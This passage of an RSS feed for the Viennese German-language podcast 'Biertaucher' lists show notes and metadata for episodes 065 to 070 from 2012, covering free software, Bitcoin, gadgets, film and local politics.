+</li><li>0:40:30 <a href="https://www.facebook.com/thesuessen">Mary</a> schneit vorbei von der <a href="http://gameaiconf.com/">Game AI Conference</a>, <a href="http://www.pixelvienna.com/7/">Pixel Conference</a> , <a href="http://subotron.com/">Subotron Vortragsreihe</a>, <a href="http://slashfilmfestival.com/">Slashfilm-Festival im Filmcasino Wien</a>
+</li><li>0:48:35 Thomas und Alex über Studieren auf der TU-Wien (Frauen auf der TU)
+</li><li>0:52:00 Gregor hat sich die neue Ubuntu Beta installiert
+</li><li>0:54:55 <a href="http://futurezone.at/netzpolitik/11307-hadopi-erstes-urteil-gegen-user-in-frankreich.php">Hadopi in Frankreich</a> verurteilt Filesharer zu 150,- Euro Strafe
+</li><li>0:55:15 Eu hat abgestimmt über <a href="http://futurezone.at/netzpolitik/11302-eu-parlament-stimmte-ueber-verwaiste-werke-ab.php">verwaiste Werke</a>, keine volle Rechtssicherheit
+</li><li>0:56:16 die Futurezone hat <a href="http://futurezone.at/produkte/11265-littlebits-teures-elektronik-lego-im-test.php">LittleBits</a> getestet
+</li><li>0:57:00 warum benutzt irgendwer <a href="http://futurezone.at/produkte/11341-bericht-massive-sicherheitsluecken-in-whatsapp.php">WhatsUp</a> ?
+</li><li>0:58:19 <a href="http://bitlove.org/">Bitlove</a> - Bittorrent Podcast Verteil Plattform - Biertaucher !
+</li><li>1:00:53 <a href="http://zareason.com/shop/zatab.html">freies android-basiertes Tablet</a> für 350 Dollar sowie KindleHD
+</li><li>1:03:54 Kino: <a href="http://www.das-schwein-von-gaza.de/">Das Schwein von Gaza</a>, siehe auch <a href="http://www.heise.de/tp/artikel/37/37598/1.html">diesen Telepolis Artikel</a>
+</li><li>1:05:14 Youtube: <a href="http://youtu.be/P26FYxkDbZg">Innocence of Muslims</a>, ( <a href="http://youtu.be/qomMvmYTLHA">Submission</a> ), Zensuranforderungen an Youtube
+</li><li>1:10:37 Interview mit Alexander Kühne, Landesvorstand der <a href="http://piratenpartei.at/">Piratenpartei Österreich</a>, Landesvorstand Wien
+</li>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher070.mp3" length="56635392" type="audio/mpeg"/>
+ <itunes:author>Horst JENS, Gregor PRIDUN, Florian SCHWEIKERT, Andreas LEHRBAUM. Gäste: Mario (W24), Mary, Thomas, Alex</itunes:author>
+ <itunes:explicit>No</itunes:explicit>
+ <itunes:subtitle>Andreas war auf der Bitcoin-Konferenz in London, Florian war am Software Freedom Day, W24 filmt uns, Mary schneite vorbei, Gregor ist Root auf seinem Smartphone, Horst war im Kino und lernt Django, Interview mit Oberpirat usw, usf:</itunes:subtitle>
+ <itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/KN1Vx
+Bitte flattern: http://flattr.com/thing/891289/Biertaucher-Podcast-Folge-070
+</itunes:summary>
+ <itunes:duration>1:18:39</itunes:duration>
+ <itunes:keywords>biertaucher, podcast, 070, Flattr, CashForWeb, Bitcoin, London, Richard Stallman, Python, Django, Ubuntu, W24, TV-Sender, Google, Nexus, Root, Software Freedom Day, Piratenpartei, Interview, bitfilm, QR-Feld, RaspberryPi, </itunes:keywords>
+ </item>
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 069</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:069</link>
+ <pubDate>Wed, 12 Sep 2012 22:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher069.mp3</guid>
+ <description>Horst JENS, Florian SCHWEIKERT Johnny ZWENG und Harald PICHLER trinken Bier und plaudern über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, etra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/VbNjr (bzw: http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Button anlicken: http://flattr.com/thing/881212/Biertaucher-Podcast-Folge-069
+
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/VbNjr">hier klicken um die Shownotes zur Folge 069</a> zu sehen</i><br></br>
+ <b>Harald PICHLER</b>, <b>Horst JENS</b>, <b>Florian SCHWEIKERT</b> und <b>Johnny ZWENG</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern: <atom:link rel="payment" href="https://flattr.com/submit/auto?url=https%3A%2F%2Fdevelopers.flattr.net%2F&amp;user_id=flattr" type="text/html" />
+<a href="http://flattr.com/thing/881212/Biertaucher-Podcast-Folge-069" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+
+ <li>0:00:47 Hausmeisterthemen: wir treffen uns Montags
+</li><li>0:01:25 ur peinliche Pause
+</li><li>0:01:37 Reportage: Harald wollte Toastbrot kaufen
+</li><li>0:05:36 Johnny drucken per Google Cloud und Google Chrome
+</li><li>0:09:45 Twitter Skandal: Buch über Tweets
+</li><li>0:11:41 Owncloud
+</li><li>0:15:17 Computerclub Sendung: 3d Fingerscanner
+</li><li>0:28:50 <a href="http://www.gizchina.com/2012/09/04/chinese-phone-maker-goophone-i5-might-have-blocked-iphone-5-sales-in-china/">Chinesische Patent-Trolle</a> patentieren Iphone5 Design bevor Apple es tut
+</li><li>0:34:20 Rasberry Pi updates
+</li><li>0:36:21 DNP Datenschutz Konferenz (niemand von uns war dort)
+</li><li>0:37:50 Neues von OSDomotics: Funkmodul und Bootloader sind fertig
+</li><li>0:41:37 selbstbalancierendes <a href="http://futurezone.at/future/11174-im-test-motor-einrad-haelt-passagier-in-balance.php">Einrad</a> von Honda
+</li><li>0:47:00 <a href="https://netzpolitik.org/2012/gerichtliche-auseinandersetzungen-rund-um-fusion-von-wikitravel-und-wikivoyage/">Wiktravel vs. Wikivoyage</a>, <a href="http://www.martinballuch.com/?p=1510">Balluch Blog posting</a> ( zeitangabe stimmt wahrscheinlich nicht)
+</li><li>0:48:50 Google Tablet in Österreich erhältlich
+</li><li>0:53:00 Teaser: Bitcoin-Interview vom Bitcoin-Treffen im Metalab am 6.9.2012, Johnny besitzt einen Zehntel Bitcoin
+</li><li>0:55:33 <a href="http://mobil.derstandard.at/1345166238608">Bitcoinbanküberfall</a>: Bitfloor wurde gehackt
+</li><li>0:58:50 freies <a href="http://gimpmagazine.org/">Gimp Magazin</a>
+</li><li>1:00:48 <a href="http://gawker.com/5940273/anonymous-demands-to-see-gawker-writer-in-ballet-tutu-for-more-information-on-massive-fbi-hack">Anonymous Hack</a> ( Apple UID ) und Redakteur im Tutu mit Schuh am Kopf
+</li><li>1:04:00 Rettungshubschrauber (echter Soundeffekt)
+</li><li>1:04:50:<a href="http://spielend-programmieren.at/biertaucherfiles/2012-09-10_gratulation_hoaxiller.mp3">wir gratulieren</a> <a href="http://www.hoaxilla.com/">Hoaxilla</a> zur 100. Folge
+</li><li>1:05:17 <a href="http://samgranger.com/whatsapp-is-using-imei-numbers-as-passwords/">WhatsApp</a> Passwortlücke
+</li><li>1:09:04 Harald's Schlusswort
+</li><li>1:09:46 letztes Hausmeisterthema: wir haben eine <a href="http://biertaucher.at">neue URL: biertaucher.at</a>.
+</li><li>1:10:25 Interview vom Bitcoin-Treffen im Metalab ( 4.9.2012 ): Bitcoin-Andreas erzählt Bitcoin-Neuigkeiten
+</li>
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher069.mp3" length="54216704" type="audio/mpeg"/>
+ <itunes:author>Horst JENS, Harald PICHLER, Florian SCHWEIKERT, Johnny ZWENG</itunes:author>
+ <itunes:explicit>No</itunes:explicit>
+ <itunes:subtitle>Harald wollte Toastbrot kaufen und spricht über Biometrie, Fingerabdruckscanner, Funksteuerung. Florian und Johnny ignorieren größtenteils die gesammelten Meldungen und plaudern stattdessen über Android Tablets, Hoaxilla, </itunes:subtitle>
+ <itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/VbNjr
+Bitte flattern: http://flattr.com/thing/881212/Biertaucher-Podcast-Folge-069
+</itunes:summary>
+ <itunes:duration>1:14:46</itunes:duration>
+ <itunes:keywords>biertaucher, podcast, 069, Biometrie, Fingerabdruckscanner, 3d-Scanner, Toastbrot, Twitter, Identi.ca, cloud printing, owncload, Funksteuerung, OSDomotics, Lichtschalter, Einrad, Honda, Wikitravel, Wikivoyage, Croudsourcing, Creative-Commons-Lizenz</itunes:keywords>
+ </item>
+
+
+
+ <item>
+ <title>Biertaucher Folge 068</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:068</link>
+ <pubDate>Wed, 05 Sep 2012 12:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher068.mp3</guid>
+ <description>Gregor PRIDUN, Horst JENS, Martin MARY, Florian SCHWEIKERT und Johnny ZWENG trinken Bier und plaudern über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos und ein Interview-Transskript gibt es in den Shownotes: http://goo.gl/WJTLN bzw: http://biertaucher.at. Bitte nach Möglichkeit diesen Flattr-Button anlicken: http://flattr.com/thing/872232/Biertaucher-Podcast-Folge-068
+
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/WJTLN">hier klicken um die Shownotes zur Folge 068</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Horst JENS</b>, <b>Martin MARY</b>, <b>Florian SCHWEIKERT</b> und <b>Johnny ZWENG</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern: <atom:link rel="payment" href="https://flattr.com/submit/auto?url=https%3A%2F%2Fdevelopers.flattr.net%2F&amp;user_id=flattr" type="text/html" />
+<a href="http://flattr.com/thing/872232/Biertaucher-Podcast-Folge-068" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+<li>
+</li><li>0:00:35 Hausmeisterthemen: Feedback Kreditkarten (siehe <a href="https://plus.google.com/u/0/115278437571900143077/posts/bJ952NdPF3u">Themensammlung</a>, tagging, Sponsor
+</li><li>0:06:17 die rituelle Frage
+</li><li>0:06:48 Martin: Brombeerhecke Längenfeldgasse wurde auf polizeiliche Anordnung entfernt weil: Drogenumschlagplatz !
+</li><li>0:09:00 Florian kommt direkt von einer Auslandsreportage aus <del>Afrika</del> Großbritannien und hat u.a. <a href="http://de.wikipedia.org/wiki/Haggis">Haggis</a> gegessen und hat sich rundum sicher und beobachtet gefühlt.
+</li><li>0:17:29 Johnny liest den <a href="http://de.wikipedia.org/wiki/Near_Field_Communication">NFC</a> Chip von einem Reispässe per Android-App aus
+</li><li>0:23:10 Johnny erzähtl über NFC-fähige Kreditkartenkommunikation, Florian über NFC Türsysteme
+</li><li>0:26:16 Horst war auf den <a href="http://d4e.at/schulungen/knoppixtage/">Weizer Knoppixtagen</a>, am Ende der Sendung: Interview mit <a href="http://knopper.net/">Klaus Knopper</a> und hat einen Vortrag über Creative Commons Lizenzen, Udacity und Khan Academy gehalten
+</li><li>0:33:51 Martins's Veranstaltungstipp: Lebensmittelproduktion rund um Wien, siehe Biertaucher-Kalender
+</li><li>0:36:21 Podcastempfehlung: Florian hat <a href="http://www.hoaxilla.com/">Hoaxilla</a> gehört
+</li><li>0:38:00 Johnny hat sein Handy nicht vollständig verlorenund hat ein Upgrade auf <a href="http://en.wikipedia.org/wiki/Android_version_history#Android_4.1.x_Jelly_Bean">Android Jelly Bean gemacht</a> und Anti-Diebstahlapps installiert
+</li><li>0:44:21 Kino: Johnny hat in Glasgow Brave angeschaut
+</li><li>0:46:13 Studienplatzbeschränkungen für Informatikstudierende an der TU Wien
+</li><li>0:48:18 <a href="http://derstandard.at/1345165770357/GNOMEbuntu-Ubuntu-1210-bekommt-eigene-GNOME3-Version">Gnomebuntu</a>: ein Ubuntu mit voller <a href="http://en.wikipedia.org/wiki/GNOME_Shell">Gnome Shell</a> und ohne <a href="http://en.wikipedia.org/wiki/Unity_(user_interface)">Unity</a>
+</li><li>0:55:03 freie Spieledatenbank: <a href="http://oregami.org">Oregami.org</a> ( gehört im <a href="http://spieleveteranen.de/">Spieleveteranenpodcast</a> , kleiner Rant )
+</li><li>0:58:10 <a href="https://www.amazon.de/gp/feature.html?docId=1000644903">Amazon Store</a>: freie App des Tages gibt's **nicht** für Österreich
+</li><li>1:01:54 Kickstarter Projekt: <a href="http://www.kickstarter.com/projects/165500047/broken-sword-the-serpents-curse-adventure">Point-and-click Adventure: Broken Sword</a>
+</li><li>1:02:34 Kickstarter Projekt: <a href="http://www.kickstarter.com/projects/659943965/planetary-annihilation-a-next-generation-rts?ref=live">Planetary Annihilation</a> (siehe auch <a href="http://springrts.com/">Spring RTS</a>)
+</li><li>1:08:28 Kino: Total Recall Filmkritik
+</li><li>1:11:47 Buchkritik: Florian hat The Hunger Games gelesen
+</li><li>1:14:05 Florian's Rant: <a href="http://en.wikipedia.org/wiki/Raspberry_Pi">Rasberry pi</a> werden nicht geliefert
+</li><li>1:17:01 <a href="http://www.dailymail.co.uk/news/article-2197248/Bruce-Willis-fights-leave-iPod-tunes-family-Actor-considering-legal-action-Apple-battle-owns-songs-downloaded-iTunes.html?ito=feeds-newsxml">Bruce Willis kann seine iTunes Sammlung nicht vererben</a>
+</li><li>1:18:53 Interview mit Knoppix-Erfinder Klaus Knopper (siehe Transskript in den Shownotes)
+</li>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher068.mp3" length="76976128" type="audio/mpeg"/>
+ <itunes:author>Horst JENS, Gregor PRIDUN, Martin MAYR, Florian SCHWEIKERT, Johnny ZWENG</itunes:author>
+ <itunes:explicit>No</itunes:explicit>
+ <itunes:subtitle>Florian war in Schottland im Kino, Horst war in Weiz auf den Knoppixtagen und hat Klaus Knopper interviewt, Johnny kann Daten aus Reisepässen per NFC-Smartphone auslesen, Gregor sorgt sich um Gnomebuntu, Brombeerhecken für Drogendealer</itunes:subtitle>
+ <itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/WJTLN
+Bitte flattern: http://flattr.com/thing/872232/Biertaucher-Podcast-Folge-068
+</itunes:summary>
+ <itunes:duration>1:46:54</itunes:duration>
+ <itunes:keywords>biertaucher, podcast, 068, klaus knopper, knoppix, live cd, desktop4education, weiz, helmut peer, knoppixtage, england, schottland, brave, kino, schwarzenegger, total recall, brombeerhecke, drogendealer, wien, guerilla gardening, gnome</itunes:keywords>
+ </item>
+ <item>
+ <title>Biertaucher Folge 067</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:067</link>
+ <pubDate>Thu, 30 Aug 2012 08:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher067.mp3</guid>
+ <description>Gregor PRIDUN und Johnny ZWENG trinken Bier und plaudern freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder und Videos gibt es in den Shownotes: http://goo.gl/4nSKS bzw: http://biertaucher.at. Bitte nach Möglichkeit diesen Flattr-Button anlicken: http://flattr.com/thing/863342/Biertaucher-Podcast-Folge-067
+
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/4nSKS">hier klicken um die Shownotes zur Folge 067</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b> und <b>Johnny ZWENG</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern: <atom:link rel="payment" href="https://flattr.com/submit/auto?url=https%3A%2F%2Fdevelopers.flattr.net%2F&amp;user_id=flattr" type="text/html" />
+<a href="http://flattr.com/thing/863342/Biertaucher-Podcast-Folge-067" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+
+ <li>0:00:46 HausMeister Themen / Bitcoinceedback / <a href="http://preyproject.com/">Prey Anti-Diebstahl App</a>
+</li><li>00:11:55 <a href="http://aninite.at/">Aninite 2012</a>
+</li><li>00:22:00 Gregor lebt im Hardwaregeddon
+</li><li>00:23:00 <a href="http://www.bacula.org/en/">Bacula</a> - the open source network backup solution
+</li><li>00:32:50 Johnny kaufte eine <a href="http://www.open-entry.com/osdomotics/wp/?p=118">Funksteckdosensteuerung x1 von Harald</a> ( siehe auch <a href="http://goo.gl/uAojv">Folge 064</a>).
+</li><li>00:34:00 Gregor war im Kino: <a href="http://www.imdb.com/title/tt1446714/">Prometheus</a>
+</li><li>00:38:50 <a href="https://play.google.com/store/devices/details?id=nexus_7_8gb&feature=home-cip-4&hl=de">Nexus 7 in Deutschland erhältlich</a>
+</li><li>00:45:00 Samsung
+</li><li>00:51:00 <a href="http://log.nadim.cc/?p=78">Windows 8 telefoniert nach Hause</a> bei Installationen von Programmen
+</li><li>00:55:30 Aninite 2012 Interviews
+</li><li>außerdem: Ken Starks findet <a href="http://www.indiegogo.com/helios?c=home&a=506255">Geld für Operation dank Kickstarter</a>
+</li>
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher067.mp3" length="47120384" type="audio/mpeg"/>
+ <itunes:author>Gregor PRIDUN, Johnny ZWENG</itunes:author>
+ <itunes:explicit>No</itunes:explicit>
+ <itunes:subtitle>Gregor und Horst waren auf der Aninite 2012 in Wien, Gregor lebt im Hardwaregeddon und war im Kino ( Prometheus ), Johnny spricht über Open Source Backup Software, Windows 8 bespitzelt User, Nexus 7 in Deutschland u.v.m.</itunes:subtitle>
+ <itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/4nSKS
+Bitte flattern: http://flattr.com/thing/863342/Biertaucher-Podcast-Folge-067
+</itunes:summary>
+ <itunes:duration>1:05:26</itunes:duration>
+ <itunes:keywords>biertaucher, podcast, 067, Aninite, Wien, Cosplay, Manga, Prometheus, Kino, Preyproject, Bictoin, Bacula, Backup, Prometheus, Kino, Windows 8, Kickstarter, Ken Starks</itunes:keywords>
+ </item>
+ <item>
+ <title>Biertaucher Folge 066</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:066</link>
+ <pubDate>Thu, 23 Aug 2012 12:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher066.mp3</guid>
+ <description>Horst JENS Gregor PRIDUN und Johnny ZWENG trinken Bier und plaudern freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder und Videos gibt es in den Shownotes: http://goo.gl/AlnLO bzw: http://biertaucher.at. Bitte nach Möglichkeit diesen Flattr-Button anlicken: http://flattr.com/thing/853733/Biertaucher-Podcast-Folge-066
+
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/AlnLO">hier klicken um die Shownotes zur Folge 066</a> zu sehen</i><br></br>
+ <b>Horst JENS</b> <b>Gregor PRIDUN</b> und <b>Johnny ZWENG</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern: <atom:link rel="payment" href="https://flattr.com/submit/auto?url=https%3A%2F%2Fdevelopers.flattr.net%2F&amp;user_id=flattr" type="text/html" />
+<a href="http://flattr.com/thing/853733/Biertaucher-Podcast-Folge-066" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+
+ <li>0:00:22 Gregor vergrault <a href="http://wukonig.com">unseren Sponsor</a>
+</li><li>0:01:00 Hausmeisterthemen
+</li><li>0:02:52 True Crime Story: Johnny hat sein <a href="http://www.samsung.com/at/microsite/galaxysII/index.html">Smartphone</a> <a href="http://www.schikaneder.at/">in einem Lokal</a> verloren
+</li><li>0:19:14 <a href="http://f-droid.org/">FDroid</a>
+</li><li>0:21:44 Horst und Martin waren im <a href="https://metalab.at/">Metalab</a> beim <a href="http://pyug.at/PythonDojo">Python Coding Dojo</a> ( <a href="http://en.wikipedia.org/wiki/Test-driven_development">Test-driven-development</a> )
+</li><li>0:26:28 <a href="http://www.google.com/+/learnmore/hangouts/onair.html">Google Hangout on Air</a>
+</li><li>0:28:11 <a href="http://www.barracudalabs.com/wordpress/?p=2989">Twitter Accounts kaufen</a> ( Mitt Romney )
+</li><li>0:30:30 <a href="http://futurezone.at/digitallife/10748-twitter-will-dritt-clients-beschraenken.php">Twitter wird noch böser</a> (Tweetdeck, <a href="https://play.google.com/store/apps/details?id=com.modaco.thedeck.android.app&hl=de">Tweakdeck</a>, <a href="http://identi.ca/">Identi.ca</a>
+</li><li>0:33:00 Spiele programmieren:
+</li><ul>
+ <li>Horst schreibt an seinem <a href="http://pythongamebook.wordpress.com/2012/08/20/pycrawl_itemdemo_not_yet/">Python rogulike game pycrawl</a> ( Teil vom <a href="http://ThePythonGameBook.com">ThePythonGameBook Projekt</a> ) und wird von einem ähnlichen Projekt entdeckt: <a href="http://boonhammer.wordpress.com/">First-Fantasy</a> ( code auf <a href="https://github.com/Bluedagger21/the-first-fantasy">Github</a> )
+ </li><li><a href="http://www.getlamp.com/">Get lamp</a> Dokumentarfilm über Textadventures
+ </li><li><a href="http://www.indiegogo.com/resurrect-adom-development">Adom2 (roguelike)</a> sucht Geld auf IndyGogo
+ </li>
+</ul><li>0:36:33 <a href="http://www.humblebundle.com/">Humble Bundle for Android</a>
+</li><li>0:37:40 <a href="http://storybundle.com/">StoryBundle.com</a> ... ein Bundle für bücher
+</li><li>0:38:50 <a href="http://yaycomics.net/podcast/">YayComics.net</a> / Podcast vom Berliner Comcladen ( digitaler Comicverkauf )
+ </li><ul>
+ <li><a href="http://sarahburrini.com/wordpress/">Das Leben ist kein Ponyhof</a>
+ </li><li><a href="http://en.wikipedia.org/wiki/Watchmen">The watchmen</a>
+ </li><li><a href="http://en.wikipedia.org/wiki/Jason_(comics)">Jason</a>
+ </li>
+ </ul><li>0:42:42 <a href="http://singularityand.co/">singulartyand.co</a> versucht alte Science Fiction Bücher zu retten
+ </li><li><a href="http://de.wikipedia.org/wiki/Mark_Brandis:_Weltraumpartisanen">Mark Brandis</a>
+ </li><li><a href="http://de.wikipedia.org/wiki/Perry_Rhodan">Peryy Rhodan</a> ( <a href="http://cre.fm/cre035">CRE folge</a> )
+</li><li>0:46:00 <a href="http://darkernet.wordpress.com/2012/08/14/breaking-trapwire-surveillance-linked-to-anonymizer-and-transport-smart-cards/">Trapwire</a> & <a href="http://wikileaks.org">Wikileaks</a> <a href="http://de.wikipedia.org/wiki/Anonymizer">Anonymizer</a>, <a href="https://www.google.com/latitude">Google Latitude</a>
+</li><li>0:53:00 Johnny kann offline nicht Musik hören (wegen unfreier Software)
+</li><li>0:55:00 Science Fiction Filme aus den 70ern (siehe Youtube Trailer in den Shownotes):
+ </li><ul>
+ <li>Zardoz mit Sean Connery
+ </li><li>Barbarella mit Jane Fonda
+ </li><li>Dark Star von John Carpenter
+ </li><li>Krieg der Eispiraten
+ </li><li>Starcrash mit David Hesselhoff
+</li></ul>
+ <li>1:02:00 Gregors Aufruf: auf zur <a href="http://aninite.at/">Aninight 2012</a> in der TU Wien
+</li><li>1:04:00 <a href="http://www.spiegel.de/netzwelt/web/kommt-die-acprepaid-karte-fuer-bitcoins-a-851158.html">Bitcoins Kreditkarte</a>, Bitcoin Austria Treffen
+</li><li>1:06:34 Horst's Überleitung zum Interview mit dem <a href="http://baustopp.at/?cat=4&sub=1">Verein Freunde des Augartens</a> ( wöchentliche Demonstration gegen Augartenverbau (Augartenspitz / Wiener Sängerknaben )
+</li><li>1:08:15 Interview mit Fr. Dr. Monika Roesler-Schmidt vom Verein <a href="http://baustopp.at/?cat=4&sub=1">Freunde des Augartens</a>: "Der Bau des Konzertkristalls ist nicht rechtskonform"
+</li>
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher066.mp3" length="64552960" type="audio/mpeg"/>
+ <itunes:author>Horst JENS, Gregor PRIDUN, Johnny ZWENG</itunes:author>
+ <itunes:explicit>No</itunes:explicit>
+ <itunes:subtitle>True Crime Story von Johnnys verlorenem Handy, Gregor schaut Science Fiction Filme und hört Comicpodcasts, Horst war im Coding-Dojo, Interview mit Frau Dr. Roesler-Schmidt zum Thema Augartenverbauung. Und natürlich jede Menge Tech-Meldungen</itunes:subtitle>
+ <itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/AlnLO
+Bitte flattern: http://flattr.com/thing/853733/Biertaucher-Podcast-Folge-066
+</itunes:summary>
+ <itunes:duration>1:12:07</itunes:duration>
+ <itunes:keywords>biertaucher, podcast, smartphone, Diebstahl, Diebstahlsicherung, Wien, Finderlohn, fdroid, Metalab, Python, Coding-Dojo, Test driven development, Twitter, Mitt Romney, Google Hangout on Air, Tweetdeck, Tweakdeck, First Fantasy, pycrawl</itunes:keywords>
+ </item>
+ <item>
+ <title>Biertaucher Folge 065</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:065</link>
+ <pubDate>Tue, 14 Aug 2012 11:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher065.mp3</guid>
+ <description>Horst JENS und Gregor PRIDUN trinken Bier und plaudern freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder und Videos gibt es in den Shownotes: http://goo.gl/5Q7Ph bzw: http://biertaucher.at. Bitte nach Möglichkeit diesen Flattr-Button anlicken: http://flattr.com/thing/843559/Biertaucher-Podcast-Folge-065
+
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/5Q7Ph">hier klicken um die Shownotes zur Folge 065</a> zu sehen</i><br></br>
+ <b>Horst JENS</b> und <b>Gregor PRIDUN</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern: <atom:link rel="payment" href="https://flattr.com/submit/auto?url=https%3A%2F%2Fdevelopers.flattr.net%2F&amp;user_id=flattr" type="text/html" />
+<a href="http://flattr.com/thing/843559/Biertaucher-Podcast-Folge-065" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+
+</li><li>0:01:00 Wir haben einen <a href="http://wukonig.com">Sponsor</a>
+</li><li>0:02:20 <a href="http://superfav.com/">Superfav</a>, <a href="http://flattr.com">Flattr</a>
+</li><li>0:04:39 <a href="http://paypal.com">PayPal</a> verlangt 4,37% Gebühren bei einer Inlandsüberweisung
+</li><li>0:06:01 <a href="http://www.guadec.org/">Guadec</a> Konferenz der Gnome Entwickler, <a href="http://de.wikipedia.org/wiki/Unity_(Benutzeroberfl%C3%A4che)">Unity</a>, Gnome3, Android
+</li><li>0:10:24 <a href="http://de.wikipedia.org/wiki/Firefox_OS">Firefox OS</a>
+</li><li>0:12:08 <a href="http://de.wikipedia.org/wiki/Chromium_OS">Chromium OS</a>
+</li><li>0:13:18 Gregor war in Berlin
+</li><li>0:22:09 Berliner Comicladen <a href="http://www.groberunfug.de/">Grober Unfug</a> mit <a href="http://yaycomics.net/podcast/">eigenem Podcast</a>
+</li><li>0:22:43 Comicautor Phil's Schweinecomic: <a href="http://de.wikipedia.org/wiki/Didi_%26_Stulle">Didi und stulle</a>
+</li><li>0:24:37 Gregor war und in Kassel auf der <a href="http://de.wikipedia.org/wiki/Documenta">Documenta</a> (<a href="http://de.wikipedia.org/wiki/Anton_Zeilinger">Anton Zeilinger</a>)
+</li><li>0:33:51 Horst war am <a href="http://espressofilm.at/wb/">Espresso Kurzfilmfestival</a> ( <a href="http://espressofilm.at/wb/pages/de/programm/corneliu-porumboiu-108.php">Corneliu porumboiu</a> aus Rumänien )
+</li><li>0:35:00 documenta Kassel, Ars Electronica
+</li><li>0:39:28 <a href="http://www.disney.de/merida/index.jsp">Merida</a> der neue Film von Pixar ( Disney )
+</li><li>0:40:37 Horst schreibt (immer noch) an seinem <a href="http://ThePythonGameBook.com">ThePythonGameBook</a>, diesmal an einem <a href="http://de.wikipedia.org/wiki/Rogue-like">roguelike</a>: <a href="http://pythongamebook.wordpress.com/2012/08/12/pycrawl/">Pycrawl</a> in python3
+</li><li>0:44:21 existierendes <a href="http://roguebasin.roguelikedevelopment.org/index.php/Complete_Roguelike_Tutorial,_using_python%2Blibtcod">rouguelike pyhton tutorial</a>
+</li><li>0:45:00 Horst hat ausgelesen: <a href="http://rcm-de.amazon.de/e/cm?t=spielendprogr-21&o=3&p=8&l=as1&asins=1846686105&ref=tf_til&fc1=000000&IS2=1&lt1=_blank&m=amazon&lc1=0000FF&bc1=000000&bg1=FFFFFF&f=ifr">Why nations fail</a>, Zusammenfassung, Entwicklungshilfe
+</li><li>0:53:47 wir überlegen ob wir zum <a href="http://www.ubuntu-austria.at/">Ubuntu Austria Stammtisch</a> gehen sollten
+</li><li>0:54:48 Spekulation über <a href="http://de.wikipedia.org/wiki/X.Org-Server">xorg</a> - Nachfolger: wland ?
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher065.mp3" length="42864640" type="audio/mpeg"/>
